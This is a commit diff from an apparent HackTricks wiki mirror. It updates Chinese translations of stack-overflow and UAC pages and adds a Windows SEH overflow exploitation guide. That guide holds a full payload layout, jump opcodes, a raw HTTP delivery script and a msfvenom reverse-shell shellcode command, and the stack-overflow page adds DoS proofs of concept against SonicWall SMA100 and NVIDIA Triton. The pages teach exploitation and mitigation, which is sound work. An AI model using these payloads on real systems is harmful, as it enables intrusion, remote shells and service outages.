mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/README.md', 'src/bin
This commit is contained in:
parent
d6221932e0
commit
d2e89d27a5
@ -779,6 +779,7 @@
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
|
||||
@ -4,15 +4,15 @@
|
||||
|
||||
## What is a Stack Overflow
|
||||
|
||||
一个**栈溢出**是指当程序向栈中写入的数据超过其分配的容量时发生的漏洞。这些多余的数据将**覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的,这些函数在输入时不进行边界检查。
|
||||
A **stack overflow** 是一种漏洞,当程序向栈中写入的数据超过为其分配的空间时发生。多余的数据会 **覆盖相邻的内存空间**,导致合法数据损坏、控制流中断,并可能执行恶意代码。该问题通常由于使用不对输入进行边界检查的不安全函数引起。
|
||||
|
||||
这个覆盖的主要问题在于**保存的指令指针 (EIP/RIP)** 和**保存的基指针 (EBP/RBP)** 用于返回到上一个函数,它们是**存储在栈上的**。因此,攻击者将能够覆盖这些内容并**控制程序的执行流**。
|
||||
此次覆盖的主要问题在于保存返回到上一个函数的 **saved instruction pointer (EIP/RIP)** 和 **saved base pointer (EBP/RBP)** 是 **存储在栈上** 的。因此,攻击者可以覆盖它们并 **控制程序的执行流**。
|
||||
|
||||
该漏洞通常是因为一个函数**在栈中复制的字节数超过了为其分配的数量**,因此能够覆盖栈的其他部分。
|
||||
该漏洞通常发生在函数 **将比为其分配的更多字节复制到栈内** 时,从而能够覆盖栈的其他部分。
|
||||
|
||||
一些常见的易受攻击的函数包括:**`strcpy`, `strcat`, `sprintf`, `gets`**... 此外,像**`fgets`**、**`read` & `memcpy`**这样的函数,如果指定的长度大于分配的长度,可能会以脆弱的方式使用。
|
||||
一些常见的易受影响的函数包括: **`strcpy`, `strcat`, `sprintf`, `gets`**... 此外,像 **`fgets`**、**`read`** 和 **`memcpy`** 这类带有 **长度参数** 的函数,如果指定的长度大于分配的长度,也可能以易受攻击的方式被使用。
|
||||
|
||||
例如,以下函数可能是脆弱的:
|
||||
For example, the following functions could be vulnerable:
|
||||
```c
|
||||
void vulnerable() {
|
||||
char buffer[128];
|
||||
@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### 寻找栈溢出偏移量
|
||||
### 查找 Stack Overflows 的偏移
|
||||
|
||||
寻找栈溢出的最常见方法是输入大量的 `A`(例如 `python3 -c 'print("A"*1000)')并期待出现 `Segmentation Fault`,这表明 **地址 `0x41414141` 被尝试访问**。
|
||||
找到 stack overflows 最常见的方法是提供大量的 `A` 输入(例如 `python3 -c 'print("A"*1000)'`),并期待出现 `Segmentation Fault`,表示**尝试访问地址 `0x41414141`**。
|
||||
|
||||
此外,一旦发现存在栈溢出漏洞,您需要找到偏移量,直到可以 **覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 _n_ 的子序列恰好出现一次**,作为一个连续的子序列。
|
||||
此外,一旦发现存在 Stack Overflow 漏洞,就需要找到能够**覆盖返回地址**的偏移量;为此通常使用 **De Bruijn sequence。** 对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,De Bruijn sequence 是一个**循环序列,其中每一种可能的长度为 _n_ 的子序列恰好以连续子序列的形式出现一次**。
|
||||
|
||||
这样,您就不需要手动找出控制 EIP 所需的偏移量,可以使用这些序列作为填充,然后找到覆盖它的字节的偏移量。
|
||||
这样,与其手动找出控制 EIP 所需的偏移,不如用这些序列之一作为填充,然后找到导致覆盖它的字节的偏移。
|
||||
|
||||
可以使用 **pwntools** 来实现这一点:
|
||||
可以使用 **pwntools** 来完成这一步:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -41,7 +41,7 @@ eip_value = p32(0x6161616c)
|
||||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||||
print(f"The offset is: {offset}")
|
||||
```
|
||||
或 **GEF**:
|
||||
或者 **GEF**:
|
||||
```bash
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
@ -50,30 +50,42 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## 利用栈溢出
|
||||
|
||||
在溢出期间(假设溢出大小足够大),您将能够**覆盖**栈内局部变量的值,直到达到保存的**EBP/RBP 和 EIP/RIP(甚至更多)**。\
|
||||
滥用这种类型漏洞的最常见方法是**修改返回地址**,这样当函数结束时,**控制流将被重定向到用户在此指针中指定的地方**。
|
||||
在发生溢出时(假设溢出大小足够大),你将能够**覆盖**栈内局部变量的值,直到达到保存的**EBP/RBP and EIP/RIP (or even more)**。\
|
||||
滥用此类漏洞最常见的方法是通过**修改返回地址**,这样当函数结束时,**控制流将被重定向到用户在该指针中指定的位置**。
|
||||
|
||||
然而,在其他场景中,仅仅**覆盖栈中某些变量的值**可能就足以进行利用(例如在简单的 CTF 挑战中)。
|
||||
然而,在其他场景下,仅仅**覆盖栈中某些变量的值**可能就足以进行利用(例如在简单的 CTF 题目中)。
|
||||
|
||||
### Ret2win
|
||||
|
||||
在这种类型的 CTF 挑战中,二进制文件中有一个**函数**,**从未被调用**,而且**您需要调用它才能获胜**。对于这些挑战,您只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**(通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)会被禁用),这样当易受攻击的函数返回时,隐藏的函数将被调用:
|
||||
在这类 CTF 题目中,二进制内有一个**函数**是**从未被调用**的,而你需要调用它才能获胜。对于这些题目,你只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**(通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) 会被禁用),这样当易受攻击的函数返回时,隐藏的函数就会被调用:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
{{#endref}}
|
||||
|
||||
### 栈 Shellcode
|
||||
### Stack Shellcode
|
||||
|
||||
在这种情形下,攻击者可以将 shellcode 放到栈上,并利用受控的 EIP/RIP 跳转到该 shellcode 并执行任意代码:
|
||||
|
||||
在这种情况下,攻击者可以将 shellcode 放置在栈中,并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码:
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... 技术
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
在 32 位 Windows 上,溢出可能会覆盖 Structured Exception Handler (SEH) 链而不是保存的返回地址。利用通常会将 SEH 指针替换为一个 POP POP RET gadget,并使用 4 字节的 nSEH 字段做一个短跳转,回到包含 shellcode 的大缓冲区。一个常见模式是在 nSEH 中放一个短跳(short jmp),它落到位于 nSEH 之前的一个 5 字节 near jmp 上,从而向后跳几百字节到有效负载起始处。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
windows-seh-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
该技术是绕过前述技术的主要保护(即**No executable stack (NX)**)的基础框架。它还允许执行其他多种技术(ret2lib, ret2syscall...),通过滥用二进制中已有的指令来最终执行任意命令:
|
||||
|
||||
该技术是绕过前一种技术主要保护的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术(ret2lib、ret2syscall...),通过滥用二进制中的现有指令最终执行任意命令:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -81,7 +93,8 @@ stack-shellcode/
|
||||
|
||||
## 堆溢出
|
||||
|
||||
溢出不总是在栈中,它也可能发生在**堆**中,例如:
|
||||
溢出不一定发生在栈上,例如也可能发生在**堆**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
@ -89,41 +102,42 @@ stack-shellcode/
|
||||
|
||||
## 保护类型
|
||||
|
||||
有几种保护措施试图防止漏洞的利用,请查看它们:
|
||||
有多种保护机制试图阻止漏洞被利用,可以在以下位置查看:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/
|
||||
{{#endref}}
|
||||
|
||||
### 现实世界示例:CVE-2025-40596 (SonicWall SMA100)
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
一个很好的示例,说明为什么**`sscanf`永远不应该被信任来解析不受信任的输入**,出现在2025年SonicWall的SMA100 SSL-VPN设备中。\
|
||||
位于`/usr/src/EasyAccess/bin/httpd`中的易受攻击例程试图从任何以`/__api__/`开头的URI中提取版本和端点:
|
||||
在 2025 年,SonicWall 的 SMA100 SSL-VPN 设备中出现了一个很好的示例,证明为什么**`sscanf` should never be trusted for parsing untrusted input**。位于 `/usr/src/EasyAccess/bin/httpd` 内的易受攻击例程尝试从以 `/__api__/` 开头的任何 URI 中提取版本和端点:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. 第一个转换(`%2s`)安全地将**两个**字节存储到`version`中(例如,`"v1"`)。
|
||||
2. 第二个转换(`%s`)**没有长度说明符**,因此`sscanf`会继续复制**直到第一个NUL字节**。
|
||||
3. 因为`endpoint`位于**栈**上并且**长度为0x800字节**,提供一个超过0x800字节的路径会破坏缓冲区后面的所有内容 ‑ 包括**栈金丝雀**和**保存的返回地址**。
|
||||
1. 第一个转换 (`%2s`) 将 **两个** 字节安全地存储到 `version`(例如 `"v1"`)。
|
||||
2. 第二个转换 (`%s`) **没有长度说明符**,因此 `sscanf` 将继续复制 **直到第一个 NUL byte**。
|
||||
3. 因为 `endpoint` 位于 **stack** 并且 **0x800 bytes long**,提供一个超过 0x800 bytes 的路径会破坏缓冲区之后的所有内容 ‑ 包括 **stack canary** 和 **saved return address**。
|
||||
|
||||
一个单行的概念证明足以在**身份验证之前**触发崩溃:
|
||||
单行 PoC 就足以在**authentication**之前触发崩溃:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
即使栈金丝雀会中止进程,攻击者仍然获得了一个**拒绝服务**原语(并且,通过额外的信息泄露,可能实现代码执行)。教训很简单:
|
||||
尽管 stack canaries 会中止进程,攻击者仍然可以获得一个 **Denial-of-Service** 原语(并且在额外的信息 leaks 情况下,可能实现 code-execution)。教训很简单:
|
||||
|
||||
* 始终提供**最大字段宽度**(例如`%511s`)。
|
||||
* 优先选择更安全的替代方案,如`snprintf`/`strncpy_s`。
|
||||
* 始终提供一个 **最大字段宽度**(例如 `%511s`)。
|
||||
* 优先使用更安全的替代函数,例如 `snprintf`/`strncpy_s`。
|
||||
|
||||
### 现实世界示例:CVE-2025-23310 & CVE-2025-23311(NVIDIA Triton推理服务器)
|
||||
### 真实案例:CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
NVIDIA的Triton推理服务器(≤ v25.06)包含多个可通过其HTTP API访问的**基于栈的溢出**。易受攻击的模式在`http_server.cc`和`sagemaker_server.cc`中反复出现:
|
||||
NVIDIA’s Triton Inference Server (≤ v25.06) 包含多个可通过其 HTTP API 到达的 **stack-based overflows**。
|
||||
受影响的模式在 `http_server.cc` 和 `sagemaker_server.cc` 中反复出现:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
@ -133,11 +147,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) 返回当前 HTTP 请求体的 **内部缓冲区段数**。
|
||||
2. 每个段会通过 `alloca()` 在 **栈** 上分配一个 **16-byte** 的 `evbuffer_iovec` – **没有任何上限**。
|
||||
3. 通过滥用 **HTTP _chunked transfer-encoding_**,客户端可以强制请求被拆分成 **数十万个 6-byte 的块** (`"1\r\nA\r\n"`)。这使得 `n` 无限制增长,直到栈耗尽。
|
||||
1. `evbuffer_peek` (libevent) 返回构成当前 HTTP 请求体的**内部缓冲段数量**。
|
||||
2. 每个段通过 `alloca()` 在**stack**上分配一个**16-byte**的 `evbuffer_iovec` —— **没有任何上限**。
|
||||
3. 通过滥用 **HTTP _chunked transfer-encoding_**,客户端可以将请求强制分割成**数十万个 6-byte chunk**(`"1\r\nA\r\n"`)。这会使 `n` 无限制增长,直到 stack 耗尽。
|
||||
|
||||
#### 证明概念 (DoS)
|
||||
#### 概念验证 (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
@ -161,10 +175,10 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
一个大约 3 MB 的请求足以覆盖保存的返回地址并**崩溃**默认构建的守护进程。
|
||||
~3 MB 的请求足以覆盖保存的返回地址并在默认构建下使守护进程 **崩溃**。
|
||||
|
||||
#### 修补与缓解
|
||||
25.07 版本用一个**堆支持的 `std::vector`**替换了不安全的栈分配,并优雅地处理 `std::bad_alloc`:
|
||||
#### 补丁与缓解
|
||||
25.07 版本将不安全的栈上分配替换为 **基于堆的 `std::vector`**,并优雅地处理 `std::bad_alloc`:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
@ -174,13 +188,14 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
}
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
教训总结:
|
||||
* 永远不要使用攻击者控制的大小调用 `alloca()`。
|
||||
* 分块请求可以极大地改变服务器端缓冲区的形状。
|
||||
* 在内存分配中使用任何源自客户端输入的值之前,验证/限制该值。
|
||||
经验教训:
|
||||
* 永远不要在攻击者可控的大小下调用 `alloca()`。
|
||||
* Chunked requests 可能会大幅改变服务器端缓冲区的形状。
|
||||
* 在将从客户端输入派生的任何值用于内存分配 *之前*,验证/限制该值。
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
@ -0,0 +1,150 @@
|
||||
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
SEH-based exploitation 是一种经典的 x86 Windows 技术,利用存储在栈上的 Structured Exception Handler 链。当一个 stack buffer overflow 覆盖了两个 4 字节字段时:
|
||||
|
||||
- nSEH: pointer to the next SEH record, and
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
攻击者可以通过以下方式取得执行控制:
|
||||
|
||||
1) 将 SEH 设置为非受保护模块中一个 POP POP RET gadget 的地址,这样当异常被分派时,gadget 会返回到攻击者可控的字节处;以及
|
||||
2) 使用 nSEH 重定向执行(通常是一个 short jump)回到包含 shellcode 的大溢出缓冲区中。
|
||||
|
||||
该技术仅适用于 32-bit processes (x86)。在现代系统上,优先选择没有 SafeSEH 和 ASLR 的模块作为 gadget 所在模块。常见的坏字符通常包括 0x00、0x0a、0x0d (NUL/CR/LF),这是由于 C-strings 和 HTTP 解析造成的。
|
||||
|
||||
---
|
||||
|
||||
## Finding exact offsets (nSEH / SEH)
|
||||
|
||||
- 使进程崩溃并确认 SEH 链已被覆盖(例如,在 x32dbg/x64dbg 中检查 SEH 视图)。
|
||||
- 发送一个 cyclic pattern 作为溢出数据,并计算落在 nSEH 和 SEH 的两个 dwords 的偏移量。
|
||||
|
||||
Example with peda/GEF/pwntools on a 1000-byte POST body:
|
||||
```bash
|
||||
# generate pattern (any tool is fine)
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||||
# or
|
||||
python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
|
||||
# after crash, note the two 32-bit values from SEH view and compute offsets
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
通过在这些位置放置标记来验证(例如,nSEH=b"BB", SEH=b"CC")。保持总长度不变以使崩溃可复现。
|
||||
|
||||
---
|
||||
|
||||
## 选择 POP POP RET (SEH gadget)
|
||||
|
||||
你需要一个 POP POP RET 序列来解开 SEH 帧并返回到你的 nSEH 字节。 在没有 SafeSEH 的模块中查找,最好也没有 ASLR:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` 然后 `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` 用于列出 POP POP RET gadgets 和 SafeSEH 状态。
|
||||
|
||||
选择一个在以 little-endian 写入时不包含 badchars 的地址(例如,`p32(0x004094D8)`)。如果防护允许,优先选择位于易受攻击二进制文件内的 gadget。
|
||||
|
||||
---
|
||||
|
||||
## Jump-back technique (short + near jmp)
|
||||
|
||||
nSEH 只有 4 字节,最多能放一个 2 字节的 short jump(`EB xx`)加上填充。如果你必须向后跳几百字节以到达缓冲区起始位置,可以在 nSEH 之前放置一个 5 字节的 near jump,然后从 nSEH 用 short jump 链接到它。
|
||||
|
||||
使用 nasmshell:
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
|
||||
EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
1000-byte payload 且 nSEH 在 offset 660 的布局思路:
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
|
||||
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
|
||||
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
|
||||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
执行流程:
|
||||
- 异常发生,调度器使用被覆盖的 SEH。
|
||||
- POP POP RET 将堆栈展开到我们的 nSEH。
|
||||
- nSEH 执行 `jmp short -8`,进入那个 5 字节的 near jump。
|
||||
- Near jump 落在缓冲区开头,那里有 NOP sled + shellcode。
|
||||
|
||||
---
|
||||
|
||||
## Bad characters
|
||||
|
||||
构建完整的 badchar 字符串,并在崩溃后比较堆栈内存,移除被目标解析器破坏的字节。对于基于 HTTP 的溢出,`\x00\x0a\x0d` 几乎总是被排除。
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
```
|
||||
---
|
||||
|
||||
## Shellcode 生成 (x86)
|
||||
|
||||
使用 msfvenom 并指定你的 badchars。一个小的 NOP sled 可帮助容忍落点偏差。
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
如果在运行时生成,hex 格式便于在 Python 中嵌入并进行 unhex:
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
---
|
||||
|
||||
## Delivering over HTTP (precise CRLF + Content-Length)
|
||||
|
||||
当攻击向量是 HTTP 请求体时,构造一个带有精确 CRLFs 和 Content-Length 的原始请求,以便服务器读取整个溢出的请求体。
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
host, port = "<TARGET_IP>", 8080
|
||||
body = b"A" * 1000 # replace with the SEH-aware buffer above
|
||||
req = f"""POST / HTTP/1.1
|
||||
Host: {host}:{port}
|
||||
User-Agent: curl/8.5.0
|
||||
Accept: */*
|
||||
Content-Length: {len(body)}
|
||||
Connection: close
|
||||
|
||||
""".replace('\n','\r\n').encode() + body
|
||||
p = remote(host, port)
|
||||
p.send(req)
|
||||
print(p.recvall(timeout=0.5))
|
||||
p.close()
|
||||
```
|
||||
---
|
||||
|
||||
## 工具
|
||||
|
||||
- x32dbg/x64dbg 用于观察 SEH 链并对崩溃进行初步分析。
|
||||
- ERC.Xdbg (x64dbg plugin) 用于枚举 SEH gadgets: `ERC --SEH`.
|
||||
- Mona 作为替代工具: `!mona modules`, `!mona seh`.
|
||||
- nasmshell 用于汇编短/近跳转并拷贝原始操作码。
|
||||
- pwntools 用于构造精确的网络 payloads。
|
||||
|
||||
---
|
||||
|
||||
## 注意事项与警告
|
||||
|
||||
- 仅适用于 x86 进程。x64 使用不同的 SEH 机制,基于 SEH 的利用通常不可行。
|
||||
- 优先选择位于没有 SafeSEH 和 ASLR 保护的模块中的 gadgets;否则,找到加载到进程中的未受保护模块。
|
||||
- 在崩溃后会自动重启的服务监护程序(service watchdogs)可以使迭代式 exploit 开发更便捷。
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## UAC
|
||||
|
||||
[用户帐户控制 (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 是一个功能,允许**提升活动的同意提示**。应用程序具有不同的 `integrity` 级别,具有**高级别**的程序可以执行**可能危害系统**的任务。当 UAC 启用时,应用程序和任务始终**在非管理员帐户的安全上下文中运行**,除非管理员明确授权这些应用程序/任务以管理员级别访问系统进行运行。这是一个便利功能,可以保护管理员免受意外更改,但不被视为安全边界。
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 是一项用于在需要提升权限的操作时显示同意提示的功能。应用程序具有不同的 `integrity` 级别,具有**高完整性级别**的程序可以执行**可能危及系统安全**的任务。当启用 UAC 时,应用程序和任务通常在**非管理员帐户的安全上下文**下运行,除非管理员显式授权这些应用/任务以管理员级别访问系统运行。它是保护管理员免受无意更改的便捷功能,但不被视为安全边界。
|
||||
|
||||
有关完整性级别的更多信息:
|
||||
|
||||
@ -12,36 +12,36 @@
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
当 UAC 生效时,管理员用户会获得 2 个令牌:一个标准用户密钥,用于以常规级别执行常规操作,另一个则具有管理员权限。
|
||||
当启用 UAC 时,管理员用户会获得两个令牌:一个用于以常规权限执行常规操作的标准用户令牌,以及一个包含管理员权限的令牌。
|
||||
|
||||
此 [页面](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 深入讨论了 UAC 的工作原理,包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略在本地级别(使用 secpol.msc)配置 UAC 的工作方式,或通过组策略对象 (GPO) 在 Active Directory 域环境中配置并推送。各种设置的详细信息在 [这里](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) 进行了讨论。可以为 UAC 设置 10 个组策略设置。以下表格提供了更多详细信息:
|
||||
此 [页面](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) 详细讨论了 UAC 的工作原理,包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略在本地级别(使用 secpol.msc)配置 UAC 的行为,或者在 Active Directory 域环境中通过 Group Policy Objects (GPO) 配置和下发。各种设置的详细说明见 [这里](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)。共有 10 个可以为 UAC 设置的组策略项,下面的表格提供了附加细节:
|
||||
|
||||
| 组策略设置 | 注册表键 | 默认设置 |
|
||||
| Group Policy Setting | Registry Key | Default Setting |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| [用户帐户控制:内置管理员帐户的管理员批准模式](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 禁用 |
|
||||
| [用户帐户控制:允许 UIAccess 应用程序在不使用安全桌面的情况下提示提升](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 禁用 |
|
||||
| [用户帐户控制:管理员在管理员批准模式下的提升提示行为](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 对非 Windows 二进制文件提示同意 |
|
||||
| [用户帐户控制:标准用户的提升提示行为](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | 在安全桌面上提示凭据 |
|
||||
| [用户帐户控制:检测应用程序安装并提示提升](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 启用(家庭版默认)禁用(企业版默认) |
|
||||
| [用户帐户控制:仅提升已签名和验证的可执行文件](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | 禁用 |
|
||||
| [用户帐户控制:仅提升安装在安全位置的 UIAccess 应用程序](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | 启用 |
|
||||
| [用户帐户控制:在管理员批准模式下运行所有管理员](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | 启用 |
|
||||
| [用户帐户控制:在提示提升时切换到安全桌面](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | 启用 |
|
||||
| [用户帐户控制:将文件和注册表写入失败虚拟化到每用户位置](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 启用 |
|
||||
| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled(禁用) |
|
||||
